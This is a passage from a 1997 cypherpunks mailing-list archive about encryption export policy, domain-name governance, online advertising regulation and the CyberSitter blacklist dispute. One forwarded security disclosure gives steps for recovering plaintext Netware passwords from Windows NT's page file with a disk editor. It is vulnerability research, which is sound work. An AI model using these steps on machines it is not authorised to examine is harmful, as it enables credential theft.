of opinion", XS4ALL spokesman Felipe Rodriquez-Svensson said. 
If there are doubts about the legitimacy of "Radikal" in the
Netherlands, they should be settled in a Dutch court.






-- 
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 24 Apr 1997 09:36:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New Crypto Panel
Message-ID: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption; 
Notice of Establishment

    The Secretary of Commerce has determined that the 
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in 
connection with the performance of duties imposed on the 
Department by law.

    The Subcommittee will advise the Secretary, through the 
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption 
policy that will support the growth of commerce while 
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members 
to be appointed by the Secretary to assure a balanced 
representation among the exporting community and those 
Government agencies with a mandate to implement policy 
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding 
the establishment of the Subcommittee to Lee Ann Carpenter, 
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Apr 1997 10:31:55 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords (fwd)
Message-ID: <Pine.SUN.3.91.970424133354.16568D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 01:37:49 -0500
From: Patrick Hayden <patrick.hayden@ibm.net>
To: ntsecurity@iss.net
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords

Windows NT 4.0, with Microsoft's Client Services for Netware, or
Novell's IntraNetware Client for Windows NT, writes plain-text user-id
and password information to PAGEFILE.SYS.  The user-id and password
apply to Netware, however, users commonly use the same logon information
for both NT and Netware.  It is possible to then recover the plain-text
information by using a disk editor.

Tests have been performed  (with more pending) on these systems:

Windows NT Workstation 4.0 w/SP1 and IntraNetware Client for NT (970214)
     Pent. 133 Laptop  24MB RAM  50MB PAGEFILE.SYS
Windows NT Workstation 4.0 w/SP1 and Microsoft Client Services for
Netware
     Dual Pent 166   64MB RAM  80MB PAGEFILE.SYS
Novell Netware 4.11 Server

1.  Set /MAXMEM=12 in BOOT.INI so as to force swapping.
2.  Load NT; Authenticate to NT and Netware (I used the same ID and
Password for both systems.); Verify connection by mapping a drive.
3.  To ensure that sufficient swapping takes place, run a large program
(this forces the user-id and password information stored in RAM to be
placed into PAGEFILE.SYS.)
4.  Exit NT; Boot to DOS; diskedit PAGEFILE.SYS
5.  Search for one of the following strings (do NOT include the ""
items):

 IntraNetware Client:   
     NWUserName="user-id"
     WlMprNotifyPassword="password"
     "UserName"    (if the username is alone, the password will follow
very closely)

 Client Services for Netware
     nwcs"password"    (the password is all CAPS and will immediately
follow nwcs)

In a "real-life" environment, most likely there will be enough swapping
on the system that setting the /MAXMEM switch will be unnecessary.  The
switch is only to help confirm that this hole exits.

If anyone has any knowledge of this, please post it to the list.

Patrick Hayden
Security Consultant - Ernst & Young, LLP
patrick.hayden@ibm.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 11:18:28 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Generic announcement
In-Reply-To: <19970422183723.30130@bywater.songbird.com>
Message-ID: <v03007802af854c2938f7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:37 PM -0700 4/22/97, Kent Crispin wrote:
>This is from a story on Top Level Domain Names.  Seems like it could apply
>to anything:
>
>"In Washington DC, officials from the White House, federal agencies and
>Congress say regulations may be necessary to promote a free-market
>system. A White House inter-agency taskforce was due to meet last
>week, after CWI's press deadline, to discuss the matter."

Here's an article I wrote about this last week. The White House interagency
task force, under OSTP, has met twice already.

-Declan

*******

Date: Wed, 16 Apr 1997 11:36:07 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Domain name disputes, Network Solutions, and the FCC

*****************

http://cgi.pathfinder.com/netly/opinion/0,1042,847,00.html

The Netly News
http://netlynews.com/

April 16, 1997
by Declan McCullagh  (declan@well.com)

        Don Telage, the president of Network Solutions -- the company
   that oversees Internet domain-name registration -- wants the
   government to seize control of your Net address. "The FCC should
   assume interim authority" over domain names, he argues. "These
   functions need to be institutionalized."

        Telage says that unless the FCC steps in, a plan to add new
   top-level domains such as .firm and .nom will bewilder netizens, spark
   disruptive lawsuits and threaten the "fragile stability of the Net."
   He proposes that the federal government nix additional top-level
   domains for now, then pick a contractor to deal with them (perhaps
   Telage's own firm, Network Solutions).

        And so the battle lines were drawn earlier this week between a
   proposal granting the FCC jurisdiction over the Net and the
   International Ad Hoc Committee's (IAHC) plan to create a Swiss
   organization to rule cyberspace -- with the backing of the Internet
   Society, the U.N., the World Intellectual Property Organization and
   the International Telecommunication Union. Important members of the
   high-tech community, including UUNET and MCI, have endorsed the IAHC
   plan, but Network Solutions hopes to muster support for its
   counterproposal from within the Beltway. Both sides agree that the Net
   is choking under the clogged .com domain, but they disagree on how to
   answer these questions: Who gets to sell additional top-level domains,
   what will they be and who controls the process?

        At stake, the contenders claim, is nothing less than the future
   of the Internet. Network Solutions' proposal, unveiled on Monday at a
   Federal Networking Council Advisory Committee meeting, is only the
   latest offensive in the increasingly bitter war over who controls the
   three-letter suffixes that identify organizations. These databases
   have quickly become hot property: Thanks to its government-granted
   monopoly, Network Solutions raked in up to $100 million last year.
   That turned heads. Gold rush fever spread to the would-be profiteers
   at Image Online Design, who last year thought they'd get rich quick by
   claiming exclusive ownership of the ".web" top-level domain. (They
   failed. They're suing.)

        Which amply demonstrates one thing: The informal, cooperative
   gentleman's agreement that served the Net so well during its
   not-for-profit infancy no longer works. This growing realization marks
   the end of the old Internet and the arrival of the new. No longer can
   Jon Postel, a little-known but highly trusted network guru, run the
   Internet Assigned Numbers Authority (IANA) and decide what top-level
   domains should exist. Not only is he being battered by lawsuits, what
   happens if he drops dead tomorrow? I don't mean to be morbid here, but
   this is important stuff in high-powered telecom circles: The Federal
   Networking Council's Advisory Committee took time this week to
   seriously contemplate the "Jon Postel getting hit by a beer truck"
   scenario.

        The roots of the current controvery stem from when Network
   Solutions won an exclusive contract from the National Science
   Foundation to maintain the InterNIC database. After the company
   started charging for domain names registration in 1995, netizens
   started to complain. "The community has given us incredibly powerful
   pushback that they don't like the lack of competition," says Perry
   Metzger, a member of IAHC and the president of a New York consulting
   firm.

        The IAHC proposal aimed to fix that problem by allowing other
   private-sector registrars to compete under rules created in Geneva.
   Yet its critics say more guidance is needed from the U.S. government.
   "There needs to be some sort of nominal governmental action or
   responsibility to provide a mechanism for the industry to meet and not
   run afoul of antitrust laws," says Tony Rutkowski, former head of the
   Internet Society and now a leading critic of the organization. In
   other words, it's time for the federal government to expropriate what
   it created.

        Now, if there's a sure-fire way to get federal officials
   twitching to regulate, it's an industry appearing divided and in need
   of help. "What happens when the notion of industry self-regulation
   fails? What does the government do? Do we have to come in and clean up
   afterwards?" one Clinton administration official asked me recently.
   Sure enough, last month a White House interagency committee formed.
   The goal: to decide what the U.S. government should do with domain
   names. "We're collecting information. We're collecting advice," says
   Glenn Schlarmann from the White House Office of Management and Budget.
   "The FCC probably has a role. The Patent and Trademark Office probably
   has a role. The government traditionally has been the guardian of
   public interest." (Of course, other countries may have a different
   idea of "public interest" and may take a very dim view of the U.S.
   seizing control.)

        Even some high-tech firms hardly known for their willingness to
   cozy up to regulators quietly welcome this move as a way to stabilize
   the Net. Right now, it's vulnerable not only to beer trucks hitting
   Jon Postel, but also, more disturbingly, to claims under antitrust
   laws. That's exactly what a lawsuit filed last month in New York is
   arguing. PGP Media's complaint claims that Network Solutions "has
   conspired" to head off "competition in the domain name registration
   market."

        Now, PGP Media may have a reasonable claim under antitrust laws
   -- but if the suit succeeded, it would spell disaster for the Net. PGP
   Media wants to create an unlimited number of top-level domains, but
   the Net can only handle a few hundred. Tony Rutkowski suggests the FCC
   as a way out. The IAHC plan suggests WTO and the ITU.

        My own suggestion is to steer clear of both bureaucrats and
   Eurocrats. Instead, netizens should ask the U.S. Congress to pass a
   law exempting the Internet from dusty, century-old antitrust laws.
   Where's the Congressional Internet Caucus when we need it?

###


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 07:30:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: <v03020980af85122ccc27@[139.167.130.246]>
Message-ID: <199704241430.QAA02081@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> > [I sent this several hours ago, and it has not appeared at my site. I am
> > sending it again. My impression, based on the past some weeks, is that
> > cyberpass.net is an unacceptable replacement for toad.com.]
> 
> I have found that subscribing to cypherpunks@sirius.infonex.com (it's
> majordomo) works just fine.

Tim's message was delayed for a few hours. The impatient may want to
subscrive to cypherpunks@algebra.com (also majordomo).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 16:33:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 16:32:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato forum on liquor advertising and electronic media

It was about a year ago when I wrote that just about every Federal agency
was scheming to regulate the Net. I take no pleasure in saying I was
right: we've seen agencies from the FDA to the FTC to the PTO try to grab
a piece of cyberspace. Indeed, last Friday at an Internet Caucus briefing,
FTC Commissioner Christine Varney said new regulations and laws were
necessary; she predicted FTC regulations would be forthcoming later this
year. 

The Center for Media Education is trying to accelerate this process. In a
fearmongering report earlier this year, the group demanded that a slew of
government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
"urgent agction" to "protect" America's children from tobacco and liquor
advertising online.

Sound familiar? It should. Net-nemesis Sen. Exon and conservative
activists like Bruce Taylor and Donna Rice-Hughes trotted out the same
lines two years ago when arguing for the Communications Decency Act.

The Cato Institute is holding a forum next month on just this issue.
Attached is the announcement and an excerpt from the CME report.

-Declan

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 10:44:06 -0400 (EDT)
From: Robin Hulsey <rhulsey@cato.org>

The Cato Institute invites you to a Policy Forum

Liquor Advertising and the Electronic Media

featuring

Fred Meister
Distilled Spirits Council of the United States

Dan Troy
Wiley, Rein & Fielding

Sam Kazman
Competitive Enterprise Institute

Heather Mizeur
Rep. Joseph Kennedy

Tom Howarth *
Mothers Against Drunk Driving

	For years makers of "hard" liquor refrained from advertising their products
over radio and television, but last year some companies began doing so.
Some companies have also established an advertising presence on the
Internet.  Is this free speech protected by the First Amendment, or is it a
new health threat that should be subject to regulation?

Tuesday, May 6, 1997
4:00 - 5:30 p.m.
(Reception to follow)
Cato Institute
1000 Massachusetts Avenue NW
Washington, DC 20001

To register, news media please call Robin Hulsey at (202) 789-5293 or E-mail
to rhulsey@cato.org. 

* invited


****************

Excerpt from:

Center for Media Education Report
http://tap.epn.org/cme/execsum.html

Alcohol and Tobacco on the Web:
New Threats to Youth
Executive Summary


        The combination of these new Web marketing
	technologies gives marketers of alcohol and tobacco
	an arsenal of powerful new weapons. Urgent action
	is needed to ensure that effective safeguards are
	put in place to protect young people from the
	harmful effects of online marketing of alcohol and
	tobacco. Because of the unique nature of the
	interactive media, many of these new forms of
	advertising, of particular appeal to youth, appear
	to be inherently unfair and deceptive. Some of these
	practices may already be violating the law.

        The Cigarette Act, which has since 1971 kept
	advertising of cigarettes off radio and television,
	applies to "any medium of electronic communication
	subject to the jurisdiction of the Federal
	Communications Commission" and thus would be
	applicable to the Internet as well. The alcohol
	industries have not been subjected to the same kinds
	of legal barriers to advertising as tobacco.
	However, all advertising, including online
	advertising, is subject to the current laws against
	deceptive, unfair, or other illegal practices.

[...]


        Among the recommendations for action, the Center for
	Media Education calls for the following steps to
	combat the online promotion of alcohol and tobacco
	products to young people:

 1. Congress should conduct hearings on the online
	marketing of alcohol and tobacco to the nation's
	children.

 2. The Federal Trade Commission should use its
	authority over unfair and deceptive advertising to
	immediately launch an investigation into these
	practices. The FTC should also expand its current
	inquiry on online privacy to include alcohol and
	tobacco marketing data-collection practices.

 3. The Food and Drug Administration should carefully
	monitor online tobacco promotion developments and
	develop any additional safeguards needed to protect
	youth that are not already covered by the Cigarette
	Act.

 4. Federal agencies responsible for the public health,
	including the National Cancer Institute and the
	Centers for Disease Control, should examine the
	implications for public health of online marketing
	of alcohol and tobacco products.

 5. The national public health community, including
	professional medical organizations, should launch
	initiatives to educate their members and the public
	about this issue.

 6. The international health community, including the
	World Health Organization, should launch similar
	inquiries. Special attention should be given to the
	negative consequences of new media marketing in the
	developing world. The U.S. should play a leadership
	role in the international arena to create effective
	global safeguards.

 7. Parents and educators should help educate our
	nation's youth about these new dangers. They should
	establish policies in the schools to limit exposure
	of underage youth to these sites.

 8. Alcohol industries should abide by their own
	self-regulatory codes and stop targeting youth in
	all media, including online.

 9. Cigarette companies should refrain from moving onto
	the Internet to market and promote their products.
	If companies fail to comply with the Cigarette Act,
	appropriate legal action should be taken.

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 15:46:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <v03007805af8593125b9e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


X-POP3-Rcpt: declan@relay.pathfinder.com
X-Sender: declan@mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:17:09 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel@epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 16:20:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: <v03007807af8598419379@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


X-POP3-Rcpt: declan@relay.pathfinder.com
X-Sender: declan@mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:43:35 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Censorware battle heats up; CyberSitter blacklist now public
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

You probably know about Brian Milburn. The irascible and foul-mouthed
president of Solid Oak Software, which sells CyberSitter censorware,
Milburn is best known for threatening journalists with criminal
prosecutions, blocking the web sites of his critics, and calling writers a
"trickle of piss." He's so obnoxious that even his fellow censorware
vendors distance themselves from him.

One of my articles about his exploits is at:
  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html

Now he's on the warpath again. His latest target: one Bennett Haselton, a
college student and outspoken critic of CyberSitter's blocking policies.
(Milburn blocks the National Organization for Women and New York's
echo.com, among other university sites and Internet providers.)

Haseleton earlier this week posted a short DOS program that decrypts
CyberSitter's secret blacklist. Milburn was enraged. He accused Hasleton of
various crimes and today demanded that Haselton stop *linking* to
CyberSitter's pages.

Read on for more...

-Declan

*********

>Return-path: <bennett@www.media3.net>
>Date: Thu, 24 Apr 1997 09:59:10 -0700
>From: Brian Milburn <bmilburn@solidoak.com>
>Subject: Demand letter
>X-Sender: Brian Milburn
>To: bennett@peacefire.org
>Organization: Solid Oak Software, Inc.
>
>The following is a copy of a certified letter mailed to you on April 24, 1997.
>
>------------------------------
>
>Bennett Haselton
>Vanderbuilt University
>Box 1161, Station B
>Nashville, TN 37235
>
>Re: www.peacefire.org
>
>
>Dear Mr. Haselton:
>
>Please let this letter serve as notice of the following:
>
>1. You have posted a program on your web site called "CYBERsitter filter file
>codebreaker". This program illegally modifies and decodes data and source
>code
>protected by U.S. and International intellectual property laws.
>
>This program performs this action without permission of the copyright
owner. We demand
>that this program be removed immediately.
>
>2. You have placed links on your web site to various locations on servers
owned and
>operated by Solid Oak Software, Inc., a private corporation. These include,
but are
>not limited to, HTTP links, FTP links, and e-mail links and private e-mail
addresses.
>
>You have done this without permission of Solid Oak Software, Inc.  Further
use of
>these links to our private facilities will be viewed as trespassing and
intentional
>harassment. We demand that these links be removed immediately.
>
>Your failure to comply with these demands immediately upon receipt of this
letter will
>be met with appropriate action.
>
>
>Sincerely,
>Brian Milburn, President
>Solid Oak Software, Inc.
>
>
>
>____________________________________________
>
>Brian Milburn
>Solid Oak Software,Inc. - Santa Barbara, CA
>bmilburn@solidoak.com - CIS: 74774,551
>http://www.solidoak.com - CIS: "GO SOLIDOAK"
>

***********

http://www.wired.com/news/politics/story/3355.html

Teen Offers Way to Crack Blocking Software
by Rebecca Vesely

3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
program on the Web that can be used to decrypt a list of sites blocked
by the prominent blocking software Cybersitter. The company that makes
the program is furious, and an attorney versed in Net law says the
student could face legal action.

Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
posted a program that he wrote specifically to crack the "filter file"
that comes with Cybersitter. The 18-year-old junior at Vanderbilt
University says it took him two days to write the software. The filter
file is frequently updated by Solid Oak Software, the company that
owns Cybersitter, but was taken offline Tuesday by the company.

"He is violating every intellectual property law ever written," said
Solid Oak president Brian Milburn. "It costs us tens of thousands of
dollars to maintain that list. It's none of his business what is on
that list or what we do with it."

Milburn would not say whether the company planned to take legal
action, but did say that Solid Oak "does not condone any kind of crime."

A recent list of sites blocked by Cybersitter - pulled before the
company took the filter file offline - was posted anonymously to
Declan McCullagh's fight-censorship email discussion list Monday. The
decrypted file shows that while most of the sites blocked by
Cybersitter are pornographic in nature, a number are not.

Among the sites blocked by Cybersitter on Monday were Cyborganic
Gardens; the National Organization for Women; the Gay and Lesbian
Alliance Against Defamation; several regional ISPs; Peacefire; the
Ethical Spectacle, which has criticized Solid Oak's blocking
practices; and the chocolatier Godiva.

"I think they are misrepresenting their product," Haselton said. "It's
not just the fact that they are blocking Peacefire, it's that they are
violating truth-in-advertising practices."

Solid Oak says it blocks sites that focus on "topics such as adult or
sexual issues, illegal activities, bigotry, racism, drugs, or pornography...."

This is not Haselton's first run-in with Solid Oak.  In December, he
posted a list of Web sites blocked by Cybersitter, which at the time
included The Well and Mother Jones magazine.  Haselton maintained that
he got the partial list by surfing the Web with Cybersitter installed
on his computer. Solid Oak threatened to sue, saying that Haselton had
cracked into their computers to get the list, and also threatened to
block Peacefire's ISP, Media3. The company never acted on the threats.

But Haselton could now face prosecution for violating copyright
laws. He maintains that he skirted the law because he did not post the
list of blocked sites, just information on how to access the list. He
also noted that he accessed the Cybersitter list using an old version
of the software that does not carry a copyright warning.

However, one lawyer said she wasn't sure Haselton's reasoning will
hold up if the case goes to court.

"[Solid Oak] went to the trouble of compiling the list. From a
competitive standpoint, someone else could use Haselton's software to
get the list and start their own blocking software company," said
Shari Steele, staff counsel for the Electronic Frontier
Foundation. "There is an ownership interest here."

Steele said that although someone who used the list for competitive
purposes would be more likely to face legal ramifications than
Haselton, it is not out of the realm of possibility that a court would
side with Solid Oak.


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 24 Apr 1997 16:39:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PGPSteps
Message-ID: <TCPSMTP.17.4.24.-13.33.40.2780269260.1616299@nycmetro.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3953.1071713694.multipart/mixed"

--Boundary..3953.1071713694.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

-------------< COMMENTS BY Harka >--------------

Since there was a quite surprising interest, when I announced the
draft-version of "PGPSteps", I'll post it this time straight to the
list. If somebody would like to give it a WWW-home, go for it (please
let me know the URL).

Harka

----------< END OF COMMENTS BY Harka >----------

Here is "PGPSteps", a brief installation guide for PGP 2.6.2/2.6.3i for
DOS/Windows. I started writing it, cause it seemed, that a lot of people
were getting turned off by the sheer amount of homepages, front-ends,
150-pages+ FAQ's etc.. All of these things are great, but were usually
only mastered by the most of the determined. The majority of potential
users though didn't want to go through all that trouble.
Hence "PGPSteps", an attempt to provide an easy starting ground, that
let's newbies know, where to get PGP, how to install it, answers the
most important questions and gives pointers to other resources. All that
in a short and easily understandable form, that even not-so-technical
people might be able to deal with.

I hope, I have failed not too miserably...

Comments to "PGPSteps" are welcome.


Harka

PGPSTEPS.ASC


--Boundary..3953.1071713694.multipart/mixed
Content-Type: application/octet-stream; name="bin00005.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00005.bin"
Content-Description: ""

LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQ0KDQoNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBQR1BTdGVwcyAgICAgICAgICAgICAg
ICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0tLS0tLS0tICAg
DQogICAgICAgICAgICAgICAgICAgIFByZXR0eSBHb29kIFByaXZhY3kgKFBH
UCkgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICBJbnN0YWxs
YXRpb24gLSBTdGVwIGJ5IFN0ZXAgDQoNCmJ5IEhhcmthIDxoYXJrYShhdClu
eWNtZXRyby5jb20+DQoNCmxhc3QgdXBkYXRlZDogMDQvMjMvMTk5Nw0KDQoi
UEdQU3RlcHMiIChjKSBtYXkgYmUgZGlzdHJpYnV0ZWQgZnJlZWx5IHdpdGhv
dXQgY2hhcmdlLCB1bmNoYW5nZWQNCmFuZCB0aGUgaW50YWN0IHNpZ25hdHVy
ZS4gVGhlIGxhdGVzdCB2ZXJzaW9uIGlzIGF2YWlsYWJsZSBieQ0Kc2VuZGlu
ZyBhbiBlLW1haWwgdG8gaGFya2EoYXQpbnljbWV0cm8uY29tIHdpdGggdGhl
IHN1YmplY3Q6IFNFTkQNClBHUFNURVBTIChmaW5nZXIgZm9yIHVwZGF0ZSBp
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 24 Apr 1997 17:29:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor
Message-ID: <TCPSMTP.17.4.24.-12.23.42.2780269260.1616330@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:declan@well.com to Harka <=-

 In> The Center for Media Education is trying to accelerate this process.
 In> In a fearmongering report earlier this year, the group demanded that a
 In> slew of government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO
 In> -- take "urgent agction" to "protect" America's children from tobacco
 In> and liquor advertising online.


Shesh, such garbage one can only read with a whisky and a
cigarette...

The only way to "enforce" that would be censorship from ISP-side,
because any reasonable tobacco/liquor company would/will just set up
a server outside the US.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=t4Ve
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 24 Apr 1997 21:05:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970424211058.006a0460@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:

>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.
...............................................


I wish these people would go live in the U.S.S.R., or something.(*)

They are the ones who give the Censors of the World support for the idea
that it's okay to instigate restrictions against free expression, because
obviously the people want it - they're calling for it.   It doesn't matter
that it's not a Good Thing to limit expression; it's a matter of majority
interest.   I wish they would all go down to the sea together.   But I'm
being depressingly negative.  Anyway, who cares.  As long as there are
innovators creating high techology and useful software, one can always stay
steps ahead, right.  

(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
a State like that.  Where they can live with each other and never grow up,
but only wither away from atrophy of the mind.

   ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 24 Apr 1997 18:31:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Downloading Software + viruses (HOAX)
Message-ID: <199704250131.VAA11596@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


This guy is scaring me.  It's not real, right?

On 24 Apr 97 at 18:28, Scott Shrader wrote:

> I know You can get a virus this way.  Do you want me to send you one
> this way?!?!

That sound's like a threat.  I am going to have to report you to your
ISP.  Sorry.

Abuse or Root:

